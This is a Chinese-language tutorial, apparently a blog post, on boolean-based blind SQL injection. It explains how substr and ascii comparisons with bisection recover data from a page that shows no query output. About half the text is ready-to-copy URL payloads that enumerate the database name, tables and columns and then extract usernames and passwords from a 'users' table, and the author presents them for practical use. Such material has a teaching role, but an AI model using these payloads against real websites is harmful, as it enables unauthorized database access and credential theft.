盲注的定义:
盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中具体返回值的情况下,对数据库中的内容进行猜解,实行sql注入
1.盲注分类:
布尔盲注,时间盲注,报错盲注
2.布尔盲注的判断:
联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注
比如:
这里可以看出这个页面并没有数据显示,所以说只能进行布尔盲注了。
闭合方式判断:一篇文章带你搞定SQL注入闭合方式的判断(有报错回显)-CSDN博客
一篇文章带你搞定SQL注入闭合方式判断(无回显)-CSDN博客
可以直接去看我的两篇文章,基本包你搞定%99的闭合方式判断。
布尔盲注基本原理:
1.substr(( ),1,1)表示从第1个字母开始,一次读取一个字母。
之后不断更改1,从第二个或者第三个开始读取,一次一个字母,就可以爆出想要的数据
2.ascii是把一个字符转化为一个数字,因为使用到盲注时,页面都是没有回显的,把你所要执行的代码得出的数据库第一个字母变成数字,再通过二分法来判断具体数字,因为具体数据相当于是已知的,所以可以反推数据库字母。
实战代码,在实战过程中可以直接将下列代码复制使用,自行更改数据即可。
1.爆库
?id=1'and ascii(substr((select database()),1,1))>115--+
解释一下,这里使用二分法是不断更改115这个数字,and后面如果为真,那么就会显示you are in......
这里可以看出大于114是满足条件的,
如果改变数字,变成115,那就没有回显,是一个假页面,那就证明数据库第一个字母对应的ascii数字是115
2.剩下的代码,自已拿去一一使用就好。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。